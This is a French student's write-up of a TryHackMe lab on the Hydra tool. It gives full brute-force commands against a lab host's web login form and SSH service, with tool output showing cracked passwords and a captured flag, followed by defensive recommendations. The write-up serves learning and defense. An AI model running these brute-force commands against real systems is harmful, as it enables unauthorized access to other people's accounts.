

TryHackMe Room – Hydra Brute Force

Nom : Mehenni Fatma Zohra May
Étudiante en cybersécurité

13 juillet 2025

Table des matières

1	Executive Summary	2
2	Informations Techniques	2
3	Concepts Théoriques	2
4	Méthodologie d’Attaque	3
4.1	Phase 1 : Reconnaissance	3
4.2	Phase 2 : Préparation	3
4.3	Phase 3 : Exploitation	3
5	Challenges Réalisés	3
5.1	Challenge 1 – Brute Force Web Form	3
5.2	Challenge 2 – Brute Force SSH	4
6	Difficultés Rencontrées et Solutions	5
7	Recommandations de Sécurité	5
8	Compétences Acquises	5
9	Références et Ressources	5
10	Conclusion	6

1 Executive Summary

Résumé Exécutif

Cette room TryHackMe m'a permis de maîtriser l'outil Hydra pour des attaques par force brute sur des services SSH et des formulaires web. J'ai réussi à compromettre un compte utilisateur via deux vecteurs d'attaque différents, démontrant l'importance de politiques de mots de passe robustes.

Résultats clés :

- Compromission réussie du compte utilisateur `molly`
- Récupération de 2 flags via brute force SSH et web
- Maîtrise des syntaxes Hydra pour différents protocoles

2 Informations Techniques

Cible	10.10.102.67
OS	Kali Linux
Services testés	SSH (port 22), HTTP (port 80)
Outils utilisés	Hydra, rockyou.txt wordlist
Utilisateur cible	molly
Durée	2 heures

TABLE 1 – Informations sur l'environnement de test

3 Concepts Théoriques

Brute Force avec Hydra – Fondamentaux

Hydra est un outil de brute force multi-protocole permettant d'automatiser les tentatives d'authentification.

Principes fondamentaux :

- **Dictionnaire** : Utilise des wordlists prédéfinies (rockyou.txt, SecLists, etc.)
- **Multi-threading** : Parallélise les tentatives pour accélérer le processus
- **Multi-protocole** : Supporte SSH, FTP, HTTP, SMTP, etc.
- **Feedback** : Analyse les réponses serveur pour identifier les succès/échecs

Syntaxe générale :

```
1 hydra [options] [target] [protocol-specific options]
```

4 Méthodologie d'Attaque

4.1 Phase 1 : Reconnaissance

- Identification des services exposés sur la cible
- Analyse du formulaire de connexion web
- Vérification de la disponibilité du service SSH

4.2 Phase 2 : Préparation

- Téléchargement de la wordlist rockyou.txt
- Identification du nom d'utilisateur cible : molly
- Analyse des messages d'erreur pour configurer Hydra

4.3 Phase 3 : Exploitation

- Attaque par force brute sur le formulaire web
- Attaque par force brute sur le service SSH
- Validation des credentials trouvés

5 Challenges Réalisés

5.1 Challenge 1 – Brute Force Web Form

Objectif : Compromettre le formulaire de connexion web pour récupérer le flag 1

Analyse préalable :

- URL cible : `http://10.10.102.67/login`
- Méthode : POST
- Message d'erreur identifié : "Your username or password is incorrect."

Commande utilisée :

```
1 hydra -l molly \  
2 -P /mnt/c/Users/mayme/Downloads/rockyou.txt \  
3 10.10.102.67 \  
4 http-post-form "/login:username=~USER^&password=~PASS^:Your  
  username or password is incorrect."
```

Explication des paramètres :

- `-l molly` : Spécifie l'utilisateur cible
- `-P wordlist.txt` : Chemin vers la wordlist
- `http-post-form` : Module pour formulaires web POST
- `"/login:..."` : Chemin, paramètres et message d'échec

```

(may@May)~[/mnt/c/Users/mayme]
$ hydra -l molly -P /mnt/c/Users/mayme/Downloads/rockyou.txt 10.10.102.67 http-post-form "/login:username=^USER^&password=^PASS^:Your username or password is incorrect."
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-13 15:50:45
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.102.67:80/login:username=^USER^&password=^PASS^:Your username or password is incorrect.
[80][http-post-form] host: 10.10.102.67 login: molly password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-13 15:50:54

```

FIGURE 1 – Résultat d'Hydra sur le formulaire web

Résultat : Flag 1 récupéré avec succès

5.2 Challenge 2 – Brute Force SSH

Objectif : Compromettre le service SSH pour accéder au système et récupérer le flag

2

Commande utilisée :

```

1 hydra -l molly \
2 -P /mnt/c/Users/mayme/Downloads/rockyou.txt \
3 -t 4 \
4 ssh://10.10.102.67

```

Explication des paramètres :

- `-t 4` : Limite à 4 threads (recommandé pour SSH)
- `ssh://target` : Spécifie le protocole SSH

```

(may@May)~[/mnt/c/Users/mayme]
$ hydra -l molly -P /mnt/c/Users/mayme/Downloads/rockyou.txt ssh://10.10.102.67
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-13 15:52:15
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.102.67:22/
[22][ssh] host: 10.10.102.67 login: molly password: butterfly
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-13 15:52:27

```

FIGURE 2 – Résultat d'Hydra sur SSH

Post-exploitation :

```

1 ssh molly@10.10.102.67
2 cat flag2.txt

```

```

Last login: Tue Dec 17 14:57:49 2019 from 10.8.11.96
molly@ip-10-10-102-67:~$ cat flag2.txt
THM{c8eeb0468febbadea859baeb33b2541b}

```

FIGURE 3 – Connexion SSH et récupération du flag 2

Problème	Cause	Solution
Faux positifs web	Message d'erreur mal identifié	Analyse approfondie des réponses HTTP
SSH timeout	Trop de threads simultanés	Limitation à 4 threads avec <code>-t 4</code>
Wordlist path	Chemin Windows dans WSL	Utilisation du chemin <code>/mnt/c/</code>

TABLE 2 – Problèmes rencontrés et solutions appliquées

6 Difficultés Rencontrées et Solutions

7 Recommandations de Sécurité

Mesures de Protection

Pour les administrateurs système :

- Implémenter une politique de mots de passe robuste
- Configurer des mécanismes de rate limiting
- Utiliser l'authentification à deux facteurs (2FA)
- Surveiller les tentatives de connexion échouées
- Considérer l'utilisation de clés SSH au lieu de mots de passe

Pour les développeurs web :

- Implémenter des CAPTCHAs après plusieurs échecs
- Utiliser des délais progressifs (exponential backoff)
- Masquer les messages d'erreur spécifiques
- Implémenter une détection d'anomalies

8 Compétences Acquises

- **Maîtrise d'Hydra** : Syntaxe pour différents protocoles
- **Analyse web** : Compréhension des formulaires POST
- **Reconnaissance** : Identification des vecteurs d'attaque
- **Documentation** : Rédaction de rapports techniques
- **Pensée critique** : Résolution de problèmes techniques

9 Références et Ressources

- TryHackMe - Hydra Room : <https://tryhackme.com/room/hydra>
- Hydra Documentation : <https://github.com/vanhauser-thc/thc-hydra>
- OWASP Brute Force Guide : https://owasp.org/www-community/attacks/Brute_force_attack
- SecLists Wordlists : <https://github.com/danielmiessler/SecLists>

10 Conclusion

Cette room TryHackMe m'a permis de développer une compréhension approfondie des attaques par force brute avec Hydra. J'ai acquis des compétences pratiques essentielles pour les tests d'intrusion, notamment :

- L'adaptation de la syntaxe Hydra selon le protocole cible
- L'analyse des réponses serveur pour optimiser les attaques
- La gestion des problèmes techniques courants
- La documentation méthodique des processus d'attaque

Cette expérience renforce ma compréhension des vulnérabilités d'authentification et de l'importance des mesures de sécurité défensives.

Fin du rapport – TryHackMe : Hydra Brute Force